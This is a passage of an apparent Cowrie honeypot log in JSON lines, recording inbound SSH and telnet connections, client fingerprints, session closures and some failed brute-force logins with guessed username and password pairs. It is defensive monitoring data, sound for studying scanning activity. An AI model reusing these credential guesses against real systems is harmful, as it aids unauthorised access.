h.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:11.666586Z","src_ip":"117.247.23.131","session":"529e6ede1d56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":49412,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4e0e9e65603","protocol":"telnet","message":"New connection: 160.250.202.248:49412 (159.203.135.109:23) [session: d4e0e9e65603]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:11.959916Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":52206,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e33eb9da9ae","protocol":"telnet","message":"New connection: 160.250.202.248:52206 (159.203.135.109:23) [session: 8e33eb9da9ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:13.044256Z"}
{"eventid":"cowrie.session.closed","duration":30.49407172203064,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:13.471749Z","src_ip":"160.250.202.248","session":"6a35de50bd6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":54302,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3d15c4c3647","protocol":"telnet","message":"New connection: 160.250.202.248:54302 (159.203.135.109:23) [session: d3d15c4c3647]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:13.981260Z"}
{"eventid":"cowrie.login.failed","username":"abc","password":"abc123!","message":"login attempt [abc/abc123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:16.218576Z","src_ip":"117.247.23.131","session":"529e6ede1d56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.50208282470703,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:16.482051Z","src_ip":"160.250.202.248","session":"1664a8e9fae7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":60178,"dst_ip":"159.203.135.109","dst_port":23,"session":"83db46e322a4","protocol":"telnet","message":"New connection: 160.250.202.248:60178 (159.203.135.109:23) [session: 83db46e322a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:16.969888Z"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:17.998471Z","src_ip":"117.247.23.131","session":"529e6ede1d56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":33982,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdf187934d4f","protocol":"telnet","message":"New connection: 160.250.202.248:33982 (159.203.135.109:23) [session: cdf187934d4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:18.025527Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":37646,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f3847cf4dc0","protocol":"telnet","message":"New connection: 160.250.202.248:37646 (159.203.135.109:23) [session: 0f3847cf4dc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:19.974032Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":41436,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a20a4e6e97f","protocol":"telnet","message":"New connection: 160.250.202.248:41436 (159.203.135.109:23) [session: 3a20a4e6e97f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:21.998222Z"}
{"eventid":"cowrie.session.closed","duration":30.512126684188843,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:22.475693Z","src_ip":"160.250.202.248","session":"d9547c8fe0e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":50420,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebf632fe36e8","protocol":"telnet","message":"New connection: 160.250.202.248:50420 (159.203.135.109:23) [session: ebf632fe36e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:26.018485Z"}
{"eventid":"cowrie.session.closed","duration":30.540524005889893,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:26.519095Z","src_ip":"160.250.202.248","session":"02f0a34ae040","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":60190,"dst_ip":"159.203.135.109","dst_port":23,"session":"370cad4d2630","protocol":"telnet","message":"New connection: 160.250.202.248:60190 (159.203.135.109:23) [session: 370cad4d2630]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:30.963390Z"}
{"eventid":"cowrie.session.closed","duration":30.554322242736816,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:33.548663Z","src_ip":"160.250.202.248","session":"4d74e3797442","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":42586,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4f990c99672","protocol":"telnet","message":"New connection: 160.250.202.248:42586 (159.203.135.109:23) [session: f4f990c99672]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:35.969838Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":42608,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb1399a010cb","protocol":"telnet","message":"New connection: 160.250.202.248:42608 (159.203.135.109:23) [session: cb1399a010cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:35.974327Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":44882,"dst_ip":"159.203.135.109","dst_port":23,"session":"6af3a8f9e39b","protocol":"telnet","message":"New connection: 160.250.202.248:44882 (159.203.135.109:23) [session: 6af3a8f9e39b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:37.000613Z"}
{"eventid":"cowrie.session.closed","duration":30.532931566238403,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:37.497629Z","src_ip":"160.250.202.248","session":"f5de032a4e2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":49124,"dst_ip":"159.203.135.109","dst_port":23,"session":"eaad4fe126e6","protocol":"telnet","message":"New connection: 160.250.202.248:49124 (159.203.135.109:23) [session: eaad4fe126e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:38.960964Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":49192,"dst_ip":"159.203.135.109","dst_port":23,"session":"929a42a19fa4","protocol":"telnet","message":"New connection: 160.250.202.248:49192 (159.203.135.109:23) [session: 929a42a19fa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:38.998193Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":51348,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ecf433e33d6","protocol":"telnet","message":"New connection: 160.250.202.248:51348 (159.203.135.109:23) [session: 5ecf433e33d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:40.034739Z"}
{"eventid":"cowrie.session.closed","duration":30.515990257263184,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:42.475808Z","src_ip":"160.250.202.248","session":"d4e0e9e65603","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.43113946914673,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:43.475270Z","src_ip":"160.250.202.248","session":"8e33eb9da9ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":59146,"dst_ip":"159.203.135.109","dst_port":23,"session":"9dd12d224b29","protocol":"telnet","message":"New connection: 160.250.202.248:59146 (159.203.135.109:23) [session: 9dd12d224b29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:43.975299Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":59162,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c819b4998f8","protocol":"telnet","message":"New connection: 160.250.202.248:59162 (159.203.135.109:23) [session: 6c819b4998f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:43.985287Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.79.18.201","src_port":35948,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e299cc63293","protocol":"telnet","message":"New connection: 94.79.18.201:35948 (159.203.135.109:23) [session: 8e299cc63293]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:44.017589Z"}
{"eventid":"cowrie.session.closed","duration":30.50748109817505,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:44.488625Z","src_ip":"160.250.202.248","session":"d3d15c4c3647","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":32928,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec1f0a606879","protocol":"telnet","message":"New connection: 160.250.202.248:32928 (159.203.135.109:23) [session: ec1f0a606879]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:44.972006Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.141.133","src_port":63224,"dst_ip":"10.17.0.5","dst_port":22,"session":"75795c0b3861","protocol":"ssh","message":"New connection: 20.193.141.133:63224 (10.17.0.5:22) [session: 75795c0b3861]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:45.241269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:45.247051Z","src_ip":"20.193.141.133","session":"75795c0b3861","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:45.446528Z","src_ip":"20.193.141.133","session":"75795c0b3861","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asdQWE123","message":"login attempt [ubuntu/asdQWE123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:46.267015Z","src_ip":"20.193.141.133","session":"75795c0b3861","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53882,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2c00ea1a5b9","protocol":"ssh","message":"New connection: 159.203.92.129:53882 (159.203.135.109:22) [session: f2c00ea1a5b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:46.937691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:46.942817Z","src_ip":"159.203.92.129","session":"f2c00ea1a5b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:46.947166Z","src_ip":"159.203.92.129","session":"f2c00ea1a5b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ad","password":"ad","message":"login attempt [ad/ad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:46.963031Z","src_ip":"159.203.92.129","session":"f2c00ea1a5b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":36974,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f88cc64e568","protocol":"telnet","message":"New connection: 160.250.202.248:36974 (159.203.135.109:23) [session: 4f88cc64e568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:46.974310Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:47.467173Z","src_ip":"20.193.141.133","session":"75795c0b3861","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.509361505508423,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:47.479132Z","src_ip":"160.250.202.248","session":"83db46e322a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:47.969092Z","src_ip":"159.203.92.129","session":"f2c00ea1a5b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.492736101150513,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:48.518144Z","src_ip":"160.250.202.248","session":"cdf187934d4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":41282,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe3cc622e8d8","protocol":"telnet","message":"New connection: 160.250.202.248:41282 (159.203.135.109:23) [session: fe3cc622e8d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:48.964128Z"}
{"eventid":"cowrie.session.closed","duration":30.527903079986572,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:50.501813Z","src_ip":"160.250.202.248","session":"0f3847cf4dc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":47696,"dst_ip":"159.203.135.109","dst_port":23,"session":"23ef131a7ae8","protocol":"telnet","message":"New connection: 160.250.202.248:47696 (159.203.135.109:23) [session: 23ef131a7ae8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:51.974547Z"}
{"eventid":"cowrie.session.closed","duration":30.480000019073486,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:52.478116Z","src_ip":"160.250.202.248","session":"3a20a4e6e97f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":51116,"dst_ip":"159.203.135.109","dst_port":23,"session":"70538324a2e1","protocol":"telnet","message":"New connection: 160.250.202.248:51116 (159.203.135.109:23) [session: 70538324a2e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:53.955470Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":51140,"dst_ip":"159.203.135.109","dst_port":23,"session":"2054f053e1b1","protocol":"telnet","message":"New connection: 160.250.202.248:51140 (159.203.135.109:23) [session: 2054f053e1b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:53.965284Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":55218,"dst_ip":"159.203.135.109","dst_port":23,"session":"1478a44c41a3","protocol":"telnet","message":"New connection: 160.250.202.248:55218 (159.203.135.109:23) [session: 1478a44c41a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:55.983561Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":55486,"dst_ip":"159.203.135.109","dst_port":23,"session":"faa929e48f81","protocol":"telnet","message":"New connection: 160.250.202.248:55486 (159.203.135.109:23) [session: faa929e48f81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:56.116740Z"}
{"eventid":"cowrie.session.closed","duration":30.463483333587646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:56.481831Z","src_ip":"160.250.202.248","session":"ebf632fe36e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":59664,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f5b5022ae80","protocol":"telnet","message":"New connection: 160.250.202.248:59664 (159.203.135.109:23) [session: 5f5b5022ae80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:57.977397Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":33438,"dst_ip":"159.203.135.109","dst_port":23,"session":"f872036719d9","protocol":"telnet","message":"New connection: 160.250.202.248:33438 (159.203.135.109:23) [session: f872036719d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:58.982151Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":35644,"dst_ip":"159.203.135.109","dst_port":23,"session":"d574c16a3bab","protocol":"telnet","message":"New connection: 160.250.202.248:35644 (159.203.135.109:23) [session: d574c16a3bab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:59.968805Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":35840,"dst_ip":"159.203.135.109","dst_port":23,"session":"573d2f4803b2","protocol":"telnet","message":"New connection: 160.250.202.248:35840 (159.203.135.109:23) [session: 573d2f4803b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:00.041709Z"}
{"eventid":"cowrie.session.closed","duration":30.507237195968628,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:01.470509Z","src_ip":"160.250.202.248","session":"370cad4d2630","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":41914,"dst_ip":"159.203.135.109","dst_port":23,"session":"c37dab8b2006","protocol":"telnet","message":"New connection: 160.250.202.248:41914 (159.203.135.109:23) [session: c37dab8b2006]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:02.960738Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":43876,"dst_ip":"159.203.135.109","dst_port":23,"session":"34a122b2b915","protocol":"telnet","message":"New connection: 160.250.202.248:43876 (159.203.135.109:23) [session: 34a122b2b915]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:03.959349Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":46412,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b81d766a272","protocol":"telnet","message":"New connection: 160.250.202.248:46412 (159.203.135.109:23) [session: 9b81d766a272]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:05.201351Z"}
{"eventid":"cowrie.session.closed","duration":30.498095989227295,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:06.472340Z","src_ip":"160.250.202.248","session":"cb1399a010cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.524231433868408,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:06.493969Z","src_ip":"160.250.202.248","session":"f4f990c99672","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.4975266456604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:07.498003Z","src_ip":"160.250.202.248","session":"6af3a8f9e39b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":52884,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea3323e1577a","protocol":"telnet","message":"New connection: 160.250.202.248:52884 (159.203.135.109:23) [session: ea3323e1577a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:07.988191Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":55396,"dst_ip":"159.203.135.109","dst_port":23,"session":"6bf6f5c4ccca","protocol":"telnet","message":"New connection: 160.250.202.248:55396 (159.203.135.109:23) [session: 6bf6f5c4ccca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:08.972683Z"}
{"eventid":"cowrie.session.closed","duration":30.47340416908264,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:09.471510Z","src_ip":"160.250.202.248","session":"929a42a19fa4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51668643951416,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:09.477549Z","src_ip":"160.250.202.248","session":"eaad4fe126e6","protocol":"telnet"}
